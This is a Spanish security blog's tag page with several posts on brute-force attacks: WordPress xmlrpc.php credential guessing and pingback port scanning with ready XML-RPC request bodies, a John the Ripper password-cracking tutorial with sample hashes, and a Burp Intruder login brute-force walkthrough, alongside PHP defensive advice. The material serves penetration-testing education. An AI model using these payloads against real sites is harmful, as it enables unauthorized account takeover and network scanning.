Mostrando entradas con la etiqueta fuerza. Mostrar todas las entradas
Mostrando entradas con la etiqueta fuerza. Mostrar todas las entradas

sábado, 29 de septiembre de 2018

Wordpress xmlrpc.php: vulnerabilidades comunes y como explotarlas

¿De que se trata este post?

Es posible que haya visto un archivo xmlrpc.php en muchos sitios de Wordpress que visite, incluso que haya intentado buscar el error (el servidor XML-RPC solo acepta solicitudes POST) que aparece cuando visita http://sitio.com/wp/xmlrpc.php. En esta publicacion, intentare resaltar las vulnerabilidades comunes asociadas con el archivo xmlrpc.php.

¿Que es XML-RPC?

XML-RPC en Wordpress es en realidad una API o "interfaz de programa de aplicacion". Ofrece a los desarrolladores que crean aplicaciones moviles, aplicaciones de escritorio y otros servicios la capacidad de comunicarse con su sitio de Wordpress. La API XML-RPC que ofrece Wordpress les brinda a los desarrolladores una manera de escribir aplicaciones (para usted) que puedan hacer muchas de las cosas que puede hacer cuando inicia sesion en WordPress a traves de la interfaz web. Estas incluyen:

* Publicar una entrada
* Editar una publicacion
* Eliminar una publicacion
* Subir un nuevo archivo (por ejemplo, una imagen para una publicacion)
* Obtener una lista de comentarios
* Editar comentarios

Vulnerabilidades comunes en XML-RPC

Las principales debilidades asociadas con XML-RPC son: Ataques de fuerza bruta: los atacantes intentan iniciar sesion en WordPress utilizando xmlrpc.php.
Veamos como se hace realmente y como podria aprovechar esto mientras intenta probar un sitio de wordpress para detectar posibles vulnerabilidades.

Ataque de fuerza bruta

1.- Esto es lo que ve originalmente cuando intenta abrir xmlrpc.php ubicado en http://<tusitio.com>/<directoriowordpress>/xmlrpc.php




2.- Lo primero que debe hacer ahora es enviar una solicitud POST y enumerar todos los metodos disponibles, ¿por que? por que asi sabremos que acciones son posibles realizar y potencialmente usar una de ellas para un ataque. Para enumerar todos los metodos envie una solicitud POST con los siguientes datos, como se muestra en la imagen, obtendra una respuesta con todos los metodos disponibes.

<methodCall> 
<methodName> system.listMethods </methodName> 
<params> </params> 
</methodCall>



3.- Busque lo siguiente, si encuentra que estan disponibles, entonces podemos proceder con el ataque:

* wp.getUserBlogs
* wp.getCategories
* metaWeblog.getUsersBlogs

NOTA: hay algunos metodos mas, pero estos son los mas comunmente disponibles. Los he tratado antes, solo mencionando los que puedo recordar en este momento.

4.- Ahora, para realizar un ataque de fuerza bruta, envie lo siguiente en la solicitud POST, si conoce algun nombre de usuario valido que seria aun mejor, recomiendo usar wp-scan para encontrar una lista de nombres de usuarios validos, casi siempre las compañias no intentan evitar la enumeracion de nombre de usuarios de los sitios wordpress.

<methodCall> 
<methodName> wp.getUsersBlogs </methodName> 
<params> 
<param><value>admin</value> </param> 
<param><value>pass</value> </param> 
</params> 
</methodCall>



5.- Ahora cargamos intruder con Burp suite para realizar una ataque por fuerza bruta: https://arthusu.blogspot.com/2015/01/concepto-ataque-por-fuerza-bruta.html

Cuando obtenga un respuesta correcta tendra un 200OK o en funcion del tamaño de la respuesta, el inicio de sesion se mostrara correcto.


¿Otros Ataques?


XSPA o simplemente escaneo de puerto!

1.- Enumere todos los metodos y busque el siguiente:

'pingback.ping'

2.- Si lograste encontrar la cadena pingback.ping entonces continuemos e intentemos obtener un ping en nuestro servidor, puede usar netcat, apache, nodejs, etc. Inicie su servidor y envie la siguiente solicitud en los datos de la publicacion:

<methodCall> 
<methodName> pingback.ping </methodName> 
<params> <param> 
<value> <string> http://sitioaescanear.com.mx:8080 </string> </value> 
</param> <param> <value> <string>http://tusitio.com/wp/?p=1 </string> 
</value></param> </params> 
</methodCall>

Hay 2 cosas que deben llenarse aqui:
1) El enlace de su servidor
2) El enlace de alguna publicacion valida del sitio de wordpress que se usa para devolver la llamada al ping




en la respuesta, si obtiene faultCode y un valor mayor que 0 (<value><int>17</int></value>), significa que el puerto esta abierto + puede verificarlo revisando los registros del servidor.




jueves, 28 de mayo de 2015

Crackear contraseñas usando john the ripper


En este tutorial vamos a describir las principales opciones de john the ripper. Vamos a explicar el funcionamiento basico para el uso de JTR para romper contraseñas (LM, NTML, MD5) haciendo uso de una lista de palabras o ataque de fuerza bruta.

Acerca de John the ripper

John the ripper es un rapido rompedor de contraseñas, actualmente disponible para muchos sistemas tales como unix, windows, DOS, BeOS, y OpenVMS. Su objetivo principal es detectar contraseñas debiles de unix. Es uno de los programas rompedores de contraseñas mas famosos, ya que combina una serie de rompedores de contraseñas en un solo paquete, detecta automaticamente los tipos de contraseñas, e incluye un cracker personalizable.
Puedes ejecutar varios formatos de contraseñas encriptadas, incluso varios hash de contraseñas en sistemas unix(DES, MD5, Blowfish), Kerberos AFS, y Windows NT/2000/XP/2003 (LM hash). Los modulos adicionales han ampliado su capacidad de incluir hashes en MD4, contraseñas en LDAP, MySQL y otros.

Mas informacion: http://openwall.info/wiki/john/sample-hashes

Descargar - Instalar JTR

Descargar la ultima version gratis de JTR usando el sitio web oficial. Descargarlo dependiendo del sistema donde te encuentres. Lo ejecutamos desde consola o terminal y veremos lo siguiente:


>john
John the Ripper password cracker, version 1.7.9
Copyright (c) 1996-2011 by Solar Designer
Homepage: http://www.openwall.com/john/

Usage: john [OPTIONS] [PASSWORD-FILES]
--single                   "single crack" mode
--wordlist=FILE --stdin    wordlist mode, read words from FILE or stdin
--rules                    enable word mangling rules for wordlist mode
--incremental[=MODE]       "incremental" mode [using section MODE]
--external=MODE            external mode or word filter
--stdout[=LENGTH]          just output candidate passwords [cut at LENGTH]
--restore[=NAME]           restore an interrupted session [called NAME]
--session=NAME             give a new session the NAME
--status[=NAME]            print status of a session [called NAME]
--make-charset=FILE        make a charset, FILE will be overwritten
--show                     show cracked passwords
--test[=TIME]              run tests and benchmarks for TIME seconds each
--users=[-]LOGIN|UID[,..]  [do not] load this (these) user(s) only
--groups=[-]GID[,..]       load users [not] of this (these) group(s) only
--shells=[-]SHELL[,..]     load users with[out] this (these) shell(s) only
--salts=[-]COUNT           load salts with[out] at least COUNT passwords only
--save-memory=LEVEL        enable memory saving, at LEVEL 1..3
--format=NAME              force hash type NAME: des/bsdi/md5/bf/afs/lm/trip/
                           dummy


Explicacion de opciones

Las opciones pueden ser especificadas junto con los archivos de contraseñas o por su cuenta. Todas las opciones son case sensitive, puede ser abreviado de manera larga o corta, pueden prefijar dos guiones o con un solo guion y pueden utilizar "=" o ":" para indicar un argumento. Activa el modo "solo crack" usando las reglas de la seccion del archivo de configuracion.

--single

john --single archivo_a_crackear.txt

Activar el modo wordlist (ataque de diccionario) este es mas rapido que el ataque por defecto (fuerza bruta).

--wordlist=ARCHIVO

john --wordfile:password.lst archivo_a_crackear.txt

Le permite definir las reglas para el uso de wordlist.

--rules

Permite un modo incremental que le permite hacer un ataque de fuerza bruta bajo ciertos modos.

--incremental[=MODO]

john --incremental:alpha archivo_a_crackear.txt
john --incremental:digits archivo_a_crackear.txt


Sigue una sesion interrumpida de crackeo, leyendo informacion sobre el estado del archivo de sesion especificado o de $JOHN/john.rec por defecto.

--restore[=NOMBRE]

john --restore:restore

(Nota: Si ha utilizado la opcion de sesion, debe especificar el nombre de sesion para el proceso de restauracion).

Esta opcion puede utilizarse solo a partir de una nueva sesion de cracking y su proposito es dar a la nueva sesion un nombre (a la cual john le agregará el sufijo ".rec" para formar el nombre del archivo de sesion).

--session=NOMBRE

john --session:[archivo_a_guardar] archivo_a_crackear.txt

(Nota: Esta opcion crea y mantiene los datos de su sesion que permite restaurarla mas adelante).

Imprime el estado de una sesion interrumpida o corriendo.

--status[=NOMBRE]

john --status:[nombre_del_archivo]

Muestra las contraseñas crackeadas para los archivos dados. Usted puede utilizar esta opcion para ver que es lo que hizo john hasta el momento.

--show

john --show archivo_a_crackear.txt

Prueba todos los algoritmos hash compilados para verificar el correcto funcionamiento y sus puntos de referencia.

--test[=TIEMPO]

john --test

Le permite seleccionar unas cuentas para crackear o para otras operaciones. 

--users=[-]LOGIN|UID

john --users:Usuario archivo_a_crackear.txt

Esta opcion es util para cargar cuentas con una shell valida solamente o no cargar cuentas con una shell mala.

--shells=[-]SHELL

Permite sobreescribir la deteccion del tipo de Hash. Actualmente, los "nombres de formato" validos son DES, BSDI, MD5, BF, AFS, LM, y crypt.

--format=NOMBRE

john --format:DES archivo_a_crackear.txt
john --format:BSDI archivo_a_crackear.txt
john --format:MD5 archivo_a_crackear.txt
john --format:BF archivo_a_crackear.txt
john --format:AFS archivo_a_crackear.txt
john --format:LM archivo_a_crackear.txt


Ejemplos - fuerza bruta

En esta parte del tutorial crearemos un archivo .txt con los hash que incluiran contraseñas en formato (LM/NTLM/HASH).

Añadiremos los hashes el LM y NTLM como sigue:

Editor::A4A54C86C6E5B8D0D69E92D4A9360EB0:FC4CB75BCC71D23954F4C94AD31AF0B1:::

A continuacion vamos a escribir el siguiente comando para abrir el archivo .txt.

>john john.txt
Loaded 2 password hashes with no different salts (LM DES [128/128 BS SSE2
ATSIS            (Editor:2)
guesses: 1  time: 0:00:01:32 (3)  c/s: 10880K  trying: CR5PT24 - CR5PNHJ
FOTISLI          (Editor:1)
guesses: 2  time: 0:00:01:33 (3)  c/s: 10931K  trying: FOTILVY - FOTIBFA
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably

 
Para previsualizar los resultados de esta operacion escribimos:

>john --show john.txt
Editor:FOTISLIATSIS::FC4CB75BCC71D23954F4C94AD31AF0B1:::
2 password hashes cracked, 0 left
 

(Nota: el archivo john.txt contiene solo caracteres alfa).

Ahora crearemos el archivo john2.txt que contendra caracteres alfanumericos.
 
Liatsis_Fotis#Post::C99FFEFFD8300629F500944B53168930:892A0EAA0CFE35F105138006D6415A2E:::
Liatsis_Fotis#About::5524ADDCF15F4B1EAAD3B435B51404EE:730F52CBC638F6ECD8E1F5D89600AA6A:::
Liatsis_Fotis#ID::686A307B45A7EC144207FD0DF35A59A8:C7DE72EBBFF0979175DF38D63294FFA9:::

 
A continuacion vamos a escribir el siguiente comando, agregando --format como opcion y podremos especificar el formato de LM.

>john --format=LM john2.tx
Loaded 5 password hashes with no different salts (LM DES [128/128 BS SSE2]
L                (Liatsis_Fotis#Post:2)
12               (Liatsis_Fotis#ID:2)
JTR              (Liatsis_Fotis#About)
TUTORIA          (Liatsis_Fotis#Post:1)
guesses: 4  time: 0:00:00:06 (3)  c/s: 6613K  trying: MYKHRT2 - MYKHNTH
PRIVACY          (Liatsis_Fotis#ID:1)
guesses: 5  time: 0:00:00:09 (3)  c/s: 7749K  trying: PRIVAI! - PRIVSM2
Warning: passwords printed above might be partial
Use the "--show" option to display all of the cracked passwords reliably

 
Para previsualizar los resultados de esta operacion escribimos:

>john --show john2.txt
Liatsis_Fotis#Post:TUTORIAL::892A0EAA0CFE35F105138006D6415A2E:::
Liatsis_Fotis#About:JTR::730F52CBC638F6ECD8E1F5D89600AA6A:::
Liatsis_Fotis#ID:PRIVACY12::C7DE72EBBFF0979175DF38D63294FFA9:::
5 password hashes cracked, 0 left


Ejemplos - Ataque por diccionario

En esta parte vamos a escribir el siguiente comando añadiendo la opcion --wordlist y especificar la ubicacion del archivo de lista de palabras. 

>john --wordlist=mi_wordlist.txt john3.txt
Loaded 1 password hash (LM DES [128/128 BS SSE2-16])
PR1V@CY          (Security)
guesses: 1  time: 0:00:00:00 100%  c/s: 248533  trying: PR1VYPV - PR1V@YC
Use the "--show" option to display all of the cracked passwords reliably


Para previsualizar los resultados de esta operacion escribimos:

>john --show john3.txt
Security:PR1V@CY::A8C6E71DC39003852ACC407CFA612363:::

1 password hash cracked, 0 left 

 
(Nota: como hemos observado, el metodo de ataque wordlist llevo menos tiempo para decifrar el codigo hash).

(Nota: use onlinehashcrack.com para generar mis contraseñas en formato LM/NTLM)

Conclusion

Son muchas maneras en las que podemos pasar un hash a un archivo. Este tutorial describe las cosas basicas para generar, crear/abrir un archivo .txt con algoritmos simples como LM/NTLM, la mejor manera es intentar usar todos los parametros en un entorno virtual, creando nuestros hash y wordlist para lo que la opcion puede realizar antes de proceder al archivo real .txt.


Traduccion: arthusu
Post original: http://www.liatsisfotis.com/2012/12/crack-passwords-using-john-ripper.html 

martes, 13 de enero de 2015

[Poc] Ataque por fuerza bruta

Buenas aunque este ataque ya es demasiado viejo y existen muchos maneras de seguridad para ello, hoy en dia todavia sigue vigente, por lo cual veremos un poco sobre un ataque por fuerza bruta en una aplicacion web por metodo POST.

En criptografia, se denomina ataque de fuerza bruta a la forma de recuperar una clave probando todas las combinaciones posibles hasta encontrar aquella que permite el acceso.

Voy a hacer este tutorial en forma de pasos para que sea comprensible y ademas agradezco a Cesar (http://alguienenlafisi.blogspot.mx/) por sus recomendaciones.

1.- Vamos a encontrar la web a la cual le podemos realizar Ataques por fuerza bruta (seran las cuales no tengan proteccion como captcha o algun otro tipo de proteccion).

2.- Vamos a capturar los campos (en este caso por metodo POST) con el BURP SUITE (no importa si es la version gratuita que ofrece)

3.- Configuramos la pasarela (proxy) del navegador y burp suite...


En este caso yo estoy configurando la proxy del burp suite en la ip local y el puerto 2300, pero por defecto viene en el puerto 8080.


Aqui se muestra como configuramos en el navegador la proxy para que capture la peticion con el burp suite.

4.- Lo siguiente a hacer es enviar nuestra peticion a intruder de burp suite, de manera que podamos manejar a nuestro antojo los campos a vulnerar...



En este caso esta es nuestra pagina de administracion ni siquiera cuenta con captcha. Lo que haremos es con una lista configurarla de manera que arroje las peticiones con diferente contraseña o usuario, o ambos, o que intente el mismo usuario diferentes contraseñas, o varios usuarios y varias contraseñas :P.

El Ataque por fuerza bruta es bastante tardado, pero al final puede darte el resultado que deseas.



Enviamos la pagina a intruder, si te das cuenta lo que esta marcado en rojo son los campos que enviamos (aqui nos muestran las cabeceras que son enviadas en la peticion).

5.- Lo siguiente es elegir los campos que queremos que arrojen nuestra lista de usuarios o contraseñas (diccionarios) de esta manera para realizar el ataque.



En la imagen anterior podemos ver los campos seleccionados son username y password, para seleccionar el valor solo hacemos click en el boton Add$ y si queremos remover alguno hacemos click en el boton clear$.

Hay algunos tipos de ataques, el mas comun es Sniper (el cual solo permite 1 campo), pero en este caso utilizaremos battering ram el cual lanza la misma lista de palabras (diccionario) en los dos campos, en caso de que necesite lanzar dos listas de palabras diferentes en los dos campos utilizariamos cluster Bomb.

6.- Por ultimo configuraremos nuestra lista de palabras (diccionario):



Si le damos en load (Cargar...) nos cargara nuestra lista de palabras en este caso estoy utilizando la que me recomendo mi amigo Cesar (http://www.whatsmypass.com/the-top-500-worst-passwords-of-all-time).

Agregado el 28/05/2015: el burp suite en su version pro te da algunas opciones de payloads mejoradas, como es generarte los caracter usando brute forcer por ejemplo:



Lo siguiente es ir al menu intruder>Start Attack.


Por ultimo vemos cual es la respuesta que nos arroje diferente, en Status (Codigos HTTP) y en Length (Tamaño de la pagina arrojada).

En caso de que ninguna de nuestras palabras de diccionario puedan coincidir podemos usar lo que me recomendo Cesar, que seria usar CEWL (http://digi.ninja/projects/cewl.php) que esta creado en ruby, con el proposito de generar una lista de palabras (diccionario) a partir de la pagina web. Un ejemplo:



Con esto la lista seria generada, existen este tipo de ataques de fuerza bruta a diferentes servicios, tambien para ello podemos contar con otro tipo de utilidades tales como es xHydra (https://www.thc.org/thc-hydra/).



Un buen sitio que les puedo recomendar para encontrar una gran lista de contraseñas es: http://weakpass.com/

Aqui finaliza este tutorial que intenta ser un tipo de ayuda para todos, agradesco mucho a Cesar por haberme ayudado. Saludos!

domingo, 6 de abril de 2014

[Parte 7] Seguridad en PHP

Autenticacion y autorizacion

La autenticacion es el acto de establecimiento o confirmacion de algo (o alguien) como autentico. La autenticacion de un objeto puede significar (pensar) la confirmacion de su procedencia, mientras que la autenticacion de una persona a menudo consiste en verificar su identidad. La autenticacion depende de uno o varios factores.

La autorizacion es parte del sistema operativo que protege recursos del sistema permitiendo que solo sean usados por aquellos consumidores a los que se les ha concedido autorizacion para ello. El proceso de autorizacion se utiliza para decidir si la persona, programa o dispositivo X tiene permiso para acceder al dato, funcionalidad o servicio Y.

En este caso podemos unir la autenticacion con la autorizacion de manera que podamos darle permisos a cierto usuario para acceder a ciertos recursos, siempre y que este autenticado como usuario con dichos privilegios en una aplicacion web, este tipo de aplicaciones tales como paneles administrativos, inicio de sesion, etc. Suelen ser un blanco para diferentes tipos de ataques.

Ataques de fuerza bruta

Un ataque de fuerza bruta es una manera de recuperar la clave probando todas las combinaciones posibles hasta encontrar aquella que permita el acceso, digamos que por ejemplo, tenemos una aplicacion web donde conocemos sus usuarios, pero no conocemos sus contraseñas, intentamos iniciar sesion un sin fin numero de veces con las mas posibles contraseñas hasta lograr dar con la que realmente es, asi finalmente, obteniendo el acceso.



Existen muchos programas famosos tal como THC-Hydra con el cual puedes realizar ataques por fuerza bruta en varios servicios, como puede ser: HTTP, FTP, SSH, TELNET, MYSQL, ETC...

Les adjunto un video en el cual se realiza este tipo de ataque utilizando Burp Suite:



Para protegernos de este tipo de ataques podemos suspender la cuenta del usuario por un tiempo estimado por tantos inicios de sesion fallidos, o tambien agregar un sistema de captcha a nuestro inicio de sesion, y tambien podriamos poner que al registrarse se utilizen letras mayusculas, numeros y caracteres extraños para que la contraseña sea segura.

Un ejemplo del inicio de sesion fallido y esperar un determinado tiempo podria ser el siguiente:



Olfateo de contraseñas

Este tipo de ataques lo habiamos comentado cuando hablamos sobre sesiones, donde se hablaba sobre MITM (hombre en el medio).

Los analizadores de paquetes tienen diversos usos, como monitorear redes para detectar y analizar fallos, o para realizar ingieneria inversa en protocolos de red. Tambien es habitual su uso para fines maliciosos, como robar contraseñas, interceptar correos electronicos, espiar conversaciones de chat, etc.

Existen varios analizadores de paquetes entre los mas famosos puedes encontrar Wireshark...

Puedes encontrarlo en su pagina oficial: http://www.wireshark.org/

O simplemente la Suite de Aircrack la cual puedes encontrar desde: http://www.aircrack-ng.org/

Para protegerse contra este tipo de ataques habiamos comentado en la parte 4 de seguridad en php el uso de SSL para poder mitigar este tipo de ataques.

Un ejemplo es usarlo simplemente en todas las urls que se envien por el metodo GET de tu sitio web. Un ejemplo:




Ataques de repeticion




Como vimos en la parte 2 de seguridad en php veiamos como con burp suite pro podiamos atrapar cabeceras http y realizar ataques de repeticion, con esto simplemente podemos poner los datos que se hayan atrapado en el olfateo de contraseñas o alguna cookie que haya sido atrapada y repetir el ataque, podemos usar un complemente como tal es el caso de live http headers que se encuentra para mozilla firefox.

Para evitar este tipo de ataques simplemente tenemos que tratar de realizar las otras partes de seguridad ya comentadas como es el uso de SSL, el uso correcto de sesiones, de ataques de fuerza bruta, prevenir el robo de cookies, etc.

Y otra medida de seguridad es usar un tiempo de expiracion de acceso a un recurso privado. Tal como en el uso de sesiones dar un tiempo de expiracion, y cuando alguien quiera realizar algun tipo de accion que considere que sea muy brusca por el momento, como por ejemplo, cambiar la contraseña, pedir de nuevo el uso de introduccion de contraseña real, de manera que el atacante no sabra la verdadera contraseña si hizo uso de alguna cookie.



Inicios de sesion persistentes

Un inicio de sesion persistente es una sesion que se mantiene registrada por mucho tiempo, digamos que hoy validas la sesion, mañana entras y sigues validado, entras dentro de una semana y sigues validado... 


Muchas paginas web incluyen este checkbox de recordarme, el cual les da una sesion un poco mas larga de lo normal...

Un usuario atacante puede realizar un ataque de repeticion de manera que obtenga la misma sesion que el usuario.


La manera mas erronea y mas comun en un inicio de sesion persistente es almacenar el nombre de usuario y contraseña en una cookie, ya que los datos son expuestos. La manera mas facil de evitar este error es crear un token valido para una sola autenticacion:


<?php
 $token = md5(uniqid(rand(),TRUE));
?>

Sin embargo, un enfoque mejor consiste en utilizar un identificador secundario es menos probable que sea predecible o descubierto. Consideremos una tabla que tiene 3 columnas identificador (identifier), token, tiempo de espera (timeout:

Como puedes ver mostramos una tabla usuarios la cual contiene las 3 columnas que indicamos anteriormente.

Al generar un identificador secundario junto al token, podemos crear una cookie que no revele ninguna credencial de autenticacion del usuario:


Asi cuando un usuario intenta hacer un inicio de sesion persistente, se verifican varias cosas:

 
Se deben cumplir tres cosas importantes a la implementacion de las cookies para evitar el incio de sesion persistente, las cuales son:

* Las cookies vencen en una semana (o menos)
* La cookie solo cuenta para una sola autenticacion (borrar y regenerar el token cada inicio de sesion correcto)
* Un tiempo de espera (timeout) de una semana o menos se aplica al servidor

Por ultimo para asegurarnos de que un usuario realmente se ha desconectado de la sesion:


Lo cual sobreescribe la cookie con un valor inutil haciendo que la sesion caduque.  

Referencias:

* Essential PHP Security
* Wireshark
* Aircrack
* Wikipedia
* Mozilla Foundation
* THC-Hydra
 

miércoles, 12 de febrero de 2014

Las peores 10 contraseñas del 2013


Bueno amigos he estado viendo un poco esto y la verdad que pasa mucho, y pues es un buen dato a tener en cuenta para que no les pase por los ataques de fuerza bruta, saludos :P